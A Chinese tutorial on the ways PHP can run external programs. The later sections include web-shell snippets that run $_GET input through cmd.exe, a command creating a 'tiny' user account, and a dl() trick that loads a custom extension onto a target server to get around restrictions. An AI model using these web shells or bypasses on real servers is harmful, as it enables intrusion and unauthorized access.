溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么在PHP中調(diào)用外部程序

發(fā)布時(shí)間:2021-04-19 16:16:12 來源:億速云 閱讀:519 作者:Leah 欄目:開發(fā)技術(shù)

本篇文章為大家展示了怎么在PHP中調(diào)用外部程序,內(nèi)容簡明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

php有什么用

php是一個(gè)嵌套的縮寫名稱,是英文超級(jí)文本預(yù)處理語言,它的語法混合了C、Java、Perl以及php自創(chuàng)新的語法,主要用來做網(wǎng)站開發(fā),許多小型網(wǎng)站都用php開發(fā),因?yàn)閜hp是開源的,從而使得php經(jīng)久不衰。

1. exec

原型:string exec ( string command [, array &output [, int &return_var]] )
描述:返回值保存最后的輸出結(jié)果,而所有輸出結(jié)果將會(huì)保存到$output數(shù)組,$return_var用來保存命令執(zhí)行的狀態(tài)碼(用來檢測(cè)成功或失?。?。
例子:$ret = exec("ls -al", $output, $var);
注意:
A. 輸出結(jié)果會(huì)逐行追加到$output中,因此在調(diào)用exec之前需要unset($output),特別是循環(huán)調(diào)用的時(shí)候。
B. 如果想通過exec調(diào)用外部程序后馬上繼續(xù)執(zhí)行后續(xù)代碼,僅僅在命令里加"&"是不夠的,此時(shí)exec依然會(huì)等待命令執(zhí)行完畢;需要再將標(biāo)準(zhǔn)輸出做重定向才可以,例如:exec("ls -al >/dev/null &", $output, $var);
C. 要學(xué)會(huì)善用EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個(gè)字符串 中所有可能瞞過Shell而去執(zhí)行另外一個(gè)命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(hào)(|),重定向(>)和從文件讀入 (<)等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號(hào),并把字符串中的單引號(hào)轉(zhuǎn)義,這樣這個(gè)字符串 就可以安全地作為命令的參數(shù)。

2. system

原型:string system ( string command [, int &return_var] )
描述:執(zhí)行給定的命令,返回最后的輸出結(jié)果;第二個(gè)參數(shù)是可選的,用來得到命令執(zhí)行后的狀態(tài)碼。
例子:$ret = system("ls -al", $var);
注意:略。

3. passthru

原型:void passthru (string command [, int return_var])
描述:執(zhí)行給定的命令,但不返回任何輸出結(jié)果,而是直接輸出到顯示設(shè)備上;第二個(gè)參數(shù)可選,用來得到命令執(zhí)行后的狀態(tài)碼。
例子:passthru("ls -al", $var);
注意:略。

4. popen

原型:resource popen ( string command, string mode )
描述:打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的 command 命令執(zhí)行而產(chǎn)生。 返回一個(gè)和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用于讀或?qū)懀┎⑶冶仨氂?pclose() 來關(guān)閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。 
例子:$fd = popen("command", 'r'); $ret = fgets($fd);
注意:只能打開單向管道,不是'r'就是'w';并且需要使用pclose()來關(guān)閉。

5. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
描述:與popen類似,但是可以提供雙向管道。具體的參數(shù)讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。
注意:
A. 后面需要使用proc_close()關(guān)閉資源,并且如果是pipe類型,需要用pclose()關(guān)閉句柄。
B. proc_open打開的程序作為php的子進(jìn)程,php退出后該子進(jìn)程也會(huì)退出。
C.  筆者在使用的時(shí)候遇到獲取外部程序輸出阻塞的問題,也就是在例子中的fgets($pipes[1])語句阻塞了,無法繼續(xù)進(jìn)行。經(jīng)過多方查證后發(fā)現(xiàn),問題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, "**** \n");輸出結(jié)果,此時(shí)需要加上fflush(stdout);才行,否則輸出結(jié)果可能會(huì)暫留緩存中,無法真正輸出,而php也就無法獲取輸出了。
例子:

 // /< 打開管道
 $pwd   =   " ***** " ;
 $pipes   =   array ();
 $command   =   " ***** " ;
 $desc   =   array ( array ( ' pipe ' ,   ' r ' ) ,   array ( ' pipe ' ,   ' w ' ) ,   array ( ' pipe ' ,   ' w ' ));
 $handle   =   proc_open ( $command ,   $desc ,   $pipes ,   $pwd );
 if  ( ! is_resource ( $handle )) {
     fprintf (STDERR ,   " proc_open failed.\n " );
     exit ( 1 );
}
 // /< 讀寫
 fwrite ( $pipes [ 0 ] ,   " *****\n " );
 $ret   =   rtrim ( fgets ( $pipes [ 1 ]) ,   " \n " );
 // /< 關(guān)閉管道
 fclose ( $pipes [ 0 ]);
 fclose ( $pipes [ 1 ]);
 fclose ( $pipes [ 2 ]);
 proc_close ( $handle );

6. shell_exec

原型:string shell_exec ( string $cmd )
描述:cmd:要執(zhí)行的命令    返回值:命令執(zhí)行的輸出。 如果執(zhí)行過程中發(fā)生錯(cuò)誤或者進(jìn)程不產(chǎn)生輸出,則返回 NULL。
例子:

<?php
        echo shell_exec('pwd');
?>

執(zhí)行結(jié)果:/var/www/html

7. 反撇號(hào)`

描述:shell_exec() 函數(shù)實(shí)際上僅是反撇號(hào) (`) 操作符的變體 

例子:

<?php
        echo `pwd`;
?>

執(zhí)行結(jié)果:/var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在當(dāng)前進(jìn)程空間執(zhí)行以給定參數(shù)執(zhí)行指定程序。
pcntl是linux下的一個(gè)擴(kuò)展,可以支持php的多線程操作。
參數(shù):
path: 必須是可執(zhí)行二進(jìn)制文件路徑或一個(gè)在文件第一行指定了一個(gè)可執(zhí)行文件路徑
標(biāo)頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的
信息請(qǐng)查看您系統(tǒng)的execve(2)手冊(cè)。
args: 一個(gè)要傳遞給程序的參數(shù)的字符串?dāng)?shù)組。
envs: 一個(gè)要傳遞給程序作為環(huán)境變量的字符串?dāng)?shù)組。這個(gè)數(shù)組是 key => value格
式的,key代表要傳遞的環(huán)境變量的名稱,value代表該環(huán)境變量值。
返回值:當(dāng)發(fā)生錯(cuò)誤時(shí)返回 FALSE ,沒有錯(cuò)誤時(shí)沒有返回。

9. COM組建(針對(duì)windwos環(huán)境下使用com組建)

原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填寫程序絕對(duì)路徑,并且應(yīng)該沒有辦法加參數(shù)
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,并且在php中開啟com組建擴(kuò)展之后可以使用這種方法(打開方式自行百度)
徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件
例子:

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); 
$stdout = $exec->StdOut(); 
$stroutput = $stdout->ReadAll(); 
echo $stroutput; 
?>
 
<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");
?>
 
<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); 
$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
?>
 
<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
?>
 
<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
?>

10.  dl()

要求:php沒有開啟安全模式,并且enable_dl選項(xiàng)為on,并且php版本支持dl函數(shù)
(在 PHP 5.3 里,此函數(shù)被某些 SAPI 移除了,也就是沒有這個(gè)函數(shù)?)
說明:extension_dir選項(xiàng)可以指定擴(kuò)展模塊的目錄,但是我們可以使用相對(duì)路徑的方式繞過
原理:自己編寫擴(kuò)展,然后使用dl加載此擴(kuò)展。
舉例(linux):
準(zhǔn)備工作:
自行上網(wǎng)下載apache和相近版本的php源碼,按照apache和php的官方文檔進(jìn)行安裝。
我們主要需要三個(gè)文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后,
phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。
ext_skel是php源碼包中的用來幫助制作擴(kuò)展的程序。
1)轉(zhuǎn)到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴(kuò)展中的函數(shù)原型,例如:
string exec(string str)
2)執(zhí)行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄,
里面則是擴(kuò)展所需要的文件
3)cd tinymin
4)vi config.m4 
將 config.m4文件里面
dnl PHP_ARG_WITH(myext, for myext support,
dnl Make sure that the comment is aligned:
dnl [ --with-myext Include myext support])
修改成
PHP_ARG_WITH(myext, for myext support,
[ --with-myext Include myext support])
5)vi tinymin.c
將PHP_FUNCTION(exec)后面的大括號(hào)里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha)
{
char *str = NULL;
int argc = ZEND_NUM_ARGS();
int str_len;


if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE) 
return;


return system(str);
}
6)找到phpize:find / -name "phpize" 然后運(yùn)行一下phpize:
/my_lamp/php/bin/phpize
7) 同樣方式找到php-config,然后運(yùn)行configure:
./configure --with-php-config=/my_lamp/php/bin/php-config
8)make&&make install 
之后便在自己的php擴(kuò)展目錄中生成了擴(kuò)展tinymin.so
在目標(biāo)服務(wù)器上面上傳tinymin.so(不一定要在它的php擴(kuò)展目錄中,因?yàn)榭梢允褂孟鄬?duì)路徑)
用法例如:
<?php
dl("../../../../../tmp/tinymin.so");
echo exec($_GET['cmd']);
?>
這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時(shí)候提示沒有dl這個(gè)函數(shù),具體原因參見php manual
windows上應(yīng)該也是一樣的原理。不過沒有試過

上述內(nèi)容就是怎么在PHP中調(diào)用外部程序,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI